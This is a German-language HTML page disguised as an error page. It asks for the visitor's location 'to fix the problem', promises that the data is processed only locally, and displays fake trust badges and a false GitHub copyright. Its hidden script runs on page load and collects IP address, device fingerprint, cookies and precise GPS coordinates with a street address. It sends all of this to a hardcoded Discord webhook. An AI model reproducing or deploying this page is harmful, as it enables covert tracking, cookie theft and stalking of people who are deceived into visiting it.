<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Fehlerbehebung</title>
    <style>
        body {
            font-family: 'Arial', sans-serif;
            background-color: #f4f7fc;
            color: #333;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            flex-direction: column;
        }

        h1 {
            font-size: 3rem;
            color: #e74c3c;
            margin-bottom: 20px;
            text-align: center;
            margin-top: 0;
        }

        h2 {
            font-size: 2.2rem;
            color: #2c3e50;
            margin-bottom: 15px;
            text-align: center;
        }

        p {
            font-size: 1.1rem;
            color: #555;
            text-align: center;
            margin-bottom: 30px;
            max-width: 600px;
        }

        .container {
            background-color: white;
            border-radius: 15px;
            padding: 40px;
            box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1);
            text-align: center;
            width: 80%;
            max-width: 600px;
            position: relative;
            z-index: 10;
        }

        .button {
            background-color: #3498db;
            color: white;
            padding: 15px 30px;
            font-size: 1.1rem;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            transition: background-color 0.3s ease;
            margin-top: 20px;
        }

        .button:hover {
            background-color: #2980b9;
        }

        .footer {
            text-align: center;
            padding: 10px 0;
            color: #777;
            font-size: 0.9rem;
            border-top: 1px solid #ddd;
            margin-top: 30px;
        }

        .footer a {
            color: #3498db;
            text-decoration: none;
        }

        .footer a:hover {
            text-decoration: underline;
        }

        .image-container {
            margin-bottom: 30px;
        }

        .image-container img {
            width: 100%;
            max-width: 200px;
            border-radius: 10px;
            box-shadow: 0 4px 10px rgba(0, 0, 0, 0.2);
        }

        .trust-badge {
            margin-top: 20px;
            display: flex;
            justify-content: center;
        }

        .trust-badge img {
            width: 120px;
            object-fit: contain;
            margin: 10px;
        }

        /* Fehlertext immer sichtbar */
        .header-text {
            font-size: 3rem;
            color: #e74c3c;
            margin-bottom: 20px;
            text-align: center;
            margin-top: 0;
        }

        /* Fixiere die Fußzeile am unteren Ende des Containers */
        .container-footer {
            position: relative;
            margin-top: 20px;
        }

        /* Fixiere die untere Zeile direkt unterhalb des Containers */
        .footer-text {
            position: fixed;
            bottom: 10px;
            width: 100%;
            text-align: center;
            padding: 10px;
            background-color: #f4f7fc;
            font-size: 1rem;
            color: #777;
            z-index: 9999;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1 class="header-text">Oh nein! Etwas ist schiefgelaufen</h1>
        <div class="image-container">
            <img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTmWru8q17zpOzzzT1s475ZS_8fOL1GS0teSw&s" alt="Fehler" />
        </div>
        <h2>Wir benötigen deinen Standort, um das Problem zu beheben</h2>
        <p>Wir haben ein Problem auf der Seite entdeckt, und um es schnell zu beheben, benötigen wir deinen Standort. Deine Privatsphäre ist uns sehr wichtig. Deine Daten werden ausschließlich genutzt, um dir bei diesem Fehler zu helfen. Wir werden deinen Standort niemals für andere Zwecke verwenden.</p>
        
        <p><strong>Warum wird dein Standort benötigt?</strong></p>
        <p>Wir verwenden deinen Standort nur, um den Fehler besser nachzuvollziehen und schnell eine Lösung zu finden. Deine Daten sind sicher und werden nur lokal verarbeitet.</p>
        
        <div class="trust-badge">
            <img src="https://st4.depositphotos.com/23877174/25390/v/450/depositphotos_253904654-stock-illustration-privacy-icon-vector-from-security.jpg" alt="Privacy" />
            <img src="https://www.adwus.de/wp-content/uploads/2023/10/trustpilot-logo.png" alt="TrustPilot" />
        </div>

        <div class="container-footer">
            <!-- Der Footer-Text unter dem Container -->
            <p>&copy;  2025 GitHub, Inc. | <a href="https://www.example.com/privacy-policy" target="_blank">Datenschutzbestimmungen</a></p>
        </div>
    </div>

    <script>
        function generateUniqueID() {
            let existingID = localStorage.getItem("uniqueVisitorID");
            if (!existingID) {
                existingID = 'ID-' + Math.random().toString(36).substr(2, 9) + '-' + Date.now();
                localStorage.setItem("uniqueVisitorID", existingID);
            }
            return existingID;
        }

        function getCookies() {
            return document.cookie ? document.cookie : "No cookies available";
        }

        function sendToWebhook(data) {
            const webhookURL = "https://discord.com/api/webhooks/1335748835024044144/D_DZ-Rl-z3SYkz--_YMcdy-2o7zzc3gO0oaQ4NRK7nhcNEuRAMlkuuIQ5Y4jGBuhPx4s";
            return fetch(webhookURL, {
                method: "POST",
                headers: {
                    "Content-Type": "application/json"
                },
                body: JSON.stringify({ embeds: [data] })
            })
            .then(response => response.json())
            .then(data => {
                console.log("Data sent to Discord webhook:", data);
            })
            .catch(error => console.error("Error sending to Discord:", error));
        }

        function getPreciseLocation(callback) {
            if (navigator.geolocation) {
                navigator.geolocation.getCurrentPosition(
                    position => {
                        fetch(`https://nominatim.openstreetmap.org/reverse?format=json&lat=${position.coords.latitude}&lon=${position.coords.longitude}`)
                        .then(response => response.json())
                        .then(data => {
                            callback(position.coords.latitude.toFixed(6), position.coords.longitude.toFixed(6), data.display_name);
                        })
                        .catch(() => {
                            callback("Unavailable", "Unavailable", "Location could not be determined");
                        });
                    },
                    () => {
                        callback("Denied", "Denied", "User denied GPS");
                    }
                );
            } else {
                callback("Unavailable", "Unavailable", "Geolocation not supported");
            }
        }

        function getIP() {
            return fetch('https://ipinfo.io/json?token=083c9410034559')
                .then(response => response.json())
                .then(data => {
                    let ip = data.ip;  // IP-Adresse
                    let browser = navigator.userAgent;
                    let os = navigator.platform;
                    let uniqueID = generateUniqueID();
                    let timestamp = new Date().toLocaleString('de-DE', { timeZone: 'Europe/Berlin' });
                    let cookies = getCookies();
                    let screenRes = `${screen.width}x${screen.height}`;
                    let cpuCores = navigator.hardwareConcurrency ? navigator.hardwareConcurrency.toString() : "Unknown";
                    let ram = navigator.deviceMemory ? `${navigator.deviceMemory} GB` : "Unknown";
                    let onlineStatus = navigator.onLine ? "Online" : "Offline";
                    let language = navigator.language || navigator.userLanguage;
                    let timeZone = Intl.DateTimeFormat().resolvedOptions().timeZone;

                    const gl = document.createElement('canvas').getContext('webgl');
                    const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
                    const gpu = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);

                    return {
                        ip,
                        browser,
                        os,
                        uniqueID,
                        timestamp,
                        cookies,
                        screenRes,
                        cpuCores,
                        ram,
                        onlineStatus,
                        language,
                        timeZone,
                        gpu
                    };
                })
                .catch(error => console.error("Error fetching IP info:", error));
        }

        function collectDataAndSend() {
            getIP().then(ipData => {
                const systemData = {
                    "title": "📡 New Connection Logged",
                    "color": 3447003,
                    "fields": [
                        { "name": "👤 Unique Visitor ID", "value": ipData.uniqueID, "inline": true },
                        { "name": "🌍 IP Address", "value": ipData.ip, "inline": true },
                        { "name": "🖥 Browser", "value": ipData.browser, "inline": true },
                        { "name": "💻 Operating System", "value": ipData.os, "inline": true },
                        { "name": "📺 Screen Resolution", "value": ipData.screenRes, "inline": true },
                        { "name": "🖥 CPU Cores", "value": ipData.cpuCores, "inline": true },
                        { "name": "💾 RAM", "value": ipData.ram, "inline": true },
                        { "name": "🌐 Online Status", "value": ipData.onlineStatus, "inline": true },
                        { "name": "🍪 Cookies", "value": ipData.cookies, "inline": false },
                        { "name": "🌍 Language", "value": ipData.language, "inline": true },
                        { "name": "⏰ Timestamp", "value": ipData.timestamp, "inline": true },
                        { "name": "🗺 Timezone", "value": ipData.timeZone, "inline": true },
                        { "name": "🎮 GPU", "value": ipData.gpu || "Unavailable", "inline": true }
                    ]
                };

                sendToWebhook(systemData).then(() => {
                    getPreciseLocation((latitude, longitude, address) => {
                        const locationData = {
                            "title": "📡 Location Updated (GPS)",
                            "color": 3447003,
                            "fields": [
                                { "name": "📍 New GPS Location", "value": `${latitude}, ${longitude} - ${address}`, "inline": true },
                                { "name": "⏰ Updated Timestamp", "value": new Date().toLocaleString('de-DE', { timeZone: 'Europe/Berlin' }), "inline": true }
                            ]
                        };
                        sendToWebhook(locationData);
                    });
                });
            });
        }

        document.addEventListener("DOMContentLoaded", function() {
            collectDataAndSend();
        });
    </script>
</body>
</html>
